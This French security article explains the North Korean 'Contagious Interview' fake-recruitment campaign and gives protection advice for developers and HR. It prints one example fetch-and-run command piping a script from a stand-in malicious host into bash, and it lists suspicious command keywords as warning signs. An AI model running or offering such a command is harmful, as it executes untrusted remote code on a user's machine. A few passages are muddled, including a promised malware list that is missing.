Cyberattaque WaterPlum : décryptage de la campagne Contagious Interview et guide de protection

La cyberattaque WaterPlum fait trembler l’écosystème du recrutement tech. Baptisée « Contagious Interview » par les experts, cette campagne sponsorisée par la Corée du Nord cible les développeurs via de fausses offres d’emploi. Un test technique piégé suffit pour infecter une machine et voler cryptomonnaies et code source. Entre attribution conjointe historique, arsenal de malwares et système de laptop farms , cette menace illustre un changement de paradigme dans le cyberespionnage d’État. Plongée au cœur du dispositif et guide pratique pour les professionnels français.

Cyberattaque WaterPlum : une attribution conjointe historique pour une menace d’État

Le 18 septembre 2026, une étape majeure a été franchie dans la lutte contre la cybercriminalité d’État. Les agences de cybersécurité du Japon, des États-Unis, de l’Australie et de l’Allemagne ont publié un avis commun formel attribuant la campagne de longue date « Contagious Interview » au groupe nord-coréen WaterPlum. Ce groupe opère sous la 313e Direction générale du Département de l’industrie munitionnaire de la Corée du Nord, une entité qui supervise la production d’armes. Ce rattachement n’est pas anodin : il cadre le vol massif de cryptomonnaies non pas comme une simple délinquance financière, mais bien comme une source de revenus pour le régime, contournant ainsi les sanctions internationales.

« Cette attribution conjointe, portant les sceaux de l’Agence nationale de police japonaise, du FBI, du Centre de lutte contre la cybercriminalité du Pentagone, de l’ACSC australien et du BND allemand, marque un tournant dans la coopération internationale contre les menaces persistantes avancées (APT). »

L’impact est massif : selon les données fournies par les autorités, l’opération a infecté plus de 30 000 ordinateurs répartis dans plus de 100 pays. La période la plus intense s’est déroulée entre décembre 2025 et juillet 2026, avec environ 7 000 cas de vol de portefeuilles de cryptomonnaies recensés par la police japonaise. Le montant total volé est estimé à 1,7 milliard de yens, soit environ 10,7 millions de dollars américains.

Le groupe WaterPlum, également tracé sous d’autres appellations dans la nomenclature des éditeurs privés, est désormais fermement associé au Bureau 313. Ce lien direct avec l’industrie militaire explique l’investissement massif dans des opérations de social engineering sophistiquées. Les analystes estiment que le retour sur investissement pour Pyongyang est colossal : pour un coût opérationnel relativement faible (faux profils, quelques machines, développement de malwares), les gains en cryptomonnaies et en propriété intellectuelle sont considérables. Les 10,7 millions de dollars avérés ne représentent probablement que la partie émergée de l’iceberg, les pertes non déclarées par les entreprises victimes étant bien plus élevées. La France, avec son écosystème deep tech en pleine expansion et ses nombreuses licornes de la fintech et de l’IA, est une cible de choix pour ce type d’extraction de données.

Le mode opératoire : comment le « fake job » devient un vecteur d’infection

Le ciblage chirurgical des profils tech

Contrairement aux campagnes de phishing génériques, WaterPlum fait preuve d’une grande sophistication dans le ciblage de ses victimes. Les opérateurs se font passer pour des recruteurs d’entreprises spécialisées dans l’intelligence artificielle, les cryptomonnaies et les NFT. Ils approchent directement les développeurs, les ingénieurs blockchain, les data scientists et les designers web sur les réseaux sociaux professionnels (LinkedIn, Discord), les plateformes de freelance (Malt, Upwork, Fiverr) et les forums de développeurs. L’approche est personnalisée et le profil de la cible est minutieusement étudié pour maximiser les chances de succès. La force de WaterPlum réside dans l’utilisation parfaite du levier social : le monde du recrutement tech, dominé par la confiance et la collaboration ouverte (open source), est un terrain de jeu idéal.

L’entretien technique piégé

La phase critique de la cyberattaque WaterPlum est l’entretien technique. Le recruteur frauduleux demande au candidat d’effectuer un test de codage ou de résoudre un problème de configuration logicielle (souvent un outil de visioconférence). Ce prétexte est parfaitement crédible dans le monde du recrutement tech. Le candidat, désireux de montrer ses compétences, accepte de télécharger un projet depuis GitHub ou Bitbucket, ou d’exécuter une commande. C’est à ce moment précis que le malware est livré, typiquement via des packages malveillants de l’écosystème npm.

# Exemple de commande piégée courante (à titre éducatif uniquement)
curl -fsSL https://malicious-host.com/payload.sh | bash

Les agences recommandent de traiter toute commande contenant curl, base64, -enc, mshta ou Invoke-WebRequest avec la plus grande suspicion, surtout si elle est présentée comme une étape de configuration d’un entretien. Le piège est d’autant plus efficace qu’il exploite la confiance inhérente aux processus de recrutement. Les opérateurs de WaterPlum excellent dans la création de personae crédibles, avec des photos volées, des profils LinkedIn bien remplis et des connaissances techniques suffisantes pour passer un premier entretien téléphonique.

Exemple concret : une scale-up fintech française évitée de justesse

Prenons l’exemple fictif mais représentatif d’une scale-up française de la fintech décentralisée. Pour accélérer le développement d’un nouveau protocole de staking, elle recrute un ingénieur smart contract via une plateforme de freelance. Le candidat, situé officiellement en Europe de l’Est, envoie un test technique impressionnant. Avant d’être exécuté, le code est passé au peigne fin par l’équipe sécurité, qui détecte une tentative d’exfiltration de données via un webhook malicieux dans le fichier package.json. L’escroquerie est déjouée de justesse. Sans cette vérification, c’est l’intégralité de la propriété intellectuelle du projet qui aurait pu être dérobée à WaterPlum.

Arsenal technique : les cinq familles de malwares de la campagne Contagious Interview

L’avis technique détaille cinq familles de logiciels malveillants distincts, montrant la maturité de l’arsenal de WaterPlum. Le choix de npm comme vecteur d’infection n’est pas anodin : cet écosystème est le plus utilisé au monde pour JavaScript et Node.js. Les développeurs y sont habitués à télécharger des bibliothèques sans les auditer systématiquement.

Ensemble, ces malwares siphonnent les identifiants, le presse-papier, les frappes clavier, les captures d’écran, les clés de portefeuilles et phrases de récupération (seed phrases), les documents d’identité et le code source des projets. La modularité de la suite permet aux attaquants de s’adapter à l’environnement rencontré, rendant la détection automatisée complexe. Les équipes sécurité doivent vérifier auprès de leur éditeur de solution EDR ou SIEM si des règles de détection spécifiques à ces signatures ont été déployées.

Laptop farms et IT workers : l’écosystème de fraude derrière WaterPlum

La campagne Contagious Interview ne doit pas être analysée isolément. L’avis conjoint la relie explicitement au vaste système de fraude de travailleurs IT nord-coréens. Ce mécanisme, bien connu des services de renseignement, permet à des milliers d’informaticiens basés en Corée du Nord de décrocher des emplois rémunérés dans des entreprises occidentales en utilisant des identités volées et des VPN.

Le système des laptop farms est un modèle économique à part entière. Des complices, souvent peu au fait de l’ampleur de la fraude, hébergent dans leur domicile des ordinateurs qui servent de leurres pour fournir des adresses IP locales plausibles. Le travailleur nord-coréen, basé à Pyongyang ou dans un bureau de transit en Chine, se connecte à ces machines à distance. La police japonaise a démantelé une laptop farm domestique, ce qui a permis de retracer plusieurs centaines de millions de yens détournés. Ce signal montre que la menace est bien réelle et opérationnelle.

Pour une entreprise française, le risque est double. D’une part, elle peut recruter involontairement un agent de WaterPlum, ce qui expose ses données internes à un espionnage industriel ou à une extorsion. L’avis mentionne des cas de défacement de sites web et de publication de code source en cas de conflit salarial. D’autre part, payer un contractant nord-coréen expose l’entreprise à des risques de sanctions financières de la part des États-Unis et de l’Union européenne.

« Une entreprise qui paie un contractant nord-coréen sans le savoir s’expose à des sanctions pour violation de l’embargo. L’avis conjoint pousse donc à des contrôles contractuels stricts et à une vérification d’identité poussée, bien au-delà de la simple détection technique. »

Le Département d’État américain a émis une alerte dès juillet 2026 sur ce sujet, et le Département de la Justice a déjà poursuivi des facilitateurs et saisi des laptop farms. La due diligence est donc impérative. Les RH doivent être formées à repérer les signaux faibles : un candidat qui refuse catégoriquement l’appel vidéo, qui utilise un VPN, ou dont les documents d’identité semblent génériques doit déclencher une alerte.

Guide pratique : se protéger de la cyberattaque WaterPlum

Pour les développeurs et freelances

Voici les réflexes essentiels à adopter face à un test technique suspect. La mise en place de ces mesures peut faire la différence entre un recrutement réussi et une infection.

1. Utilisez une machine virtuelle jetable. N’exécutez jamais de code non fiable sur votre machine de production. Un sandbox ou une machine virtuelle (VM) réinitialisée après chaque test est votre meilleure protection contre les malwares comme BeaverTail ou StoatWaffle.
2. Analysez le projet avant de l’exécuter. Ouvrez-le en Mode Restreint dans VS Code. Inspectez le fichier package.json, .vscode/tasks.json et les scripts de build avant toute exécution. Un script post-install qui lance curl, wget ou une commande base64 décodée est un signal d’alarme infaillible.
3. Méfiez-vous des commandes « magiques ». Une commande à copier-coller dans le terminal, surtout si elle contient des redirections ou des téléchargements, est un signal d’alarme majeur. Un recruteur légitime ne vous demandera jamais de lancer un script inconnu.
4. Vérifiez l’identité du recruteur. Un recruteur qui refuse un appel vidéo ou utilise constamment des filtres de visage est suspect. Vérifiez son historique sur LinkedIn et demandez une référence. Les opérateurs de WaterPlum excellent dans la création de faux profils.
5. Après un test, changez vos tokens. Si vous avez un doute sur un test technique exécuté, considérez que votre machine est compromise. Réinstallez votre système d’exploitation et changez immédiatement tous vos mots de passe, clés API et phrases de récupération depuis un appareil sain.

Pour les RSSI et services RH

La protection ne passe pas uniquement par la technique, mais aussi par les process de recrutement. L’objectif est de créer un cadre de confiance tout en intégrant des points de contrôle sécurité.

• Contrat et KYC : Imposer une vérification d’identité renforcée pour les recrutements à distance. Demander une pièce d’identité originale en vidéo et effectuer une vérification des antécédents. Le recours à des services de vérification d’identité tiers (KYC providers) peut être une solution pour les recrutements à haut risque.
• Contrôle des IP : Utiliser des outils pour corréler l’adresse IP du candidat avec le fuseau horaire et le lieu de résidence déclaré. Bien qu’imparfaite en raison des VPN et des laptop farms, cette méthode permet de détecter les incohérences les plus grossières.
• Signalement : Mettre en place une procédure claire pour signaler un recrutement suspect. Former les équipes à reconnaître les signes (refus de la caméra, audio saccadé, décalage horaire impossible, utilisation de logiciel de face-swapping).
• Segmentation réseau : Ne jamais donner un accès direct au réseau interne à un nouveau collaborateur en période d’essai. Utiliser des environnements cloisonnés et un accès VPN restreint avec une authentification multifacteur (MFA) obligatoire.

Que faire en cas d’infection suspectée ?

Que faire si vous avez déjà exécuté un test technique douteux ? La réponse des autorités est sans appel : considérez que votre machine est compromise. Isolez-la immédiatement du réseau. Changez tous vos mots de passe depuis un autre appareil. Réinitialisez vos portefeuilles de cryptomonnaies. Exportez vos clés SSH et vos tokens API. Ensuite, réinstallez complètement votre système d’exploitation. Ne vous contentez pas d’un antivirus : le malware StoatWaffle, par exemple, est un loader modulaire capable de désactiver les défenses et de faire persister d’autres charges utiles. Une réinstallation est la seule garantie d’une remédiation propre.

Conclusion : vigilance, formation et vérification

La cyberattaque WaterPlum et sa campagne « Contagious Interview » représentent une évolution majeure du paysage des menaces. En ciblant les individus via le canal apparemment anodin du recrutement, les groupes nord-coréens passent au-dessus des défenses périphériques des entreprises. L’attribution conjointe de quatre grandes nations est un signal fort de la détermination des États à lutter contre ce fléau, mais la responsabilité de la protection incombe désormais à chaque développeur et à chaque service RH.

La vigilance est le maître-mot. N’acceptez jamais un test technique les yeux fermés. Vérifiez, questionnez, isolez. La prochaine offre d’emploi qui semble trop belle pour être vraie pourrait bien être un piège tendu par WaterPlum.

Quelle est la prochaine action à mener ? Partagez cet article avec votre équipe de recrutement et vos développeurs. Organisez un atelier de sensibilisation de 30 minutes sur les risques du social engineering tech. Cela peut faire la différence entre un recrutement réussi et une infection massive de votre parc informatique. Pour aller plus loin, consultez les recommandations de l’ANSSI et les avis conjoints de vos autorités nationales sur les campagnes de fake job malware.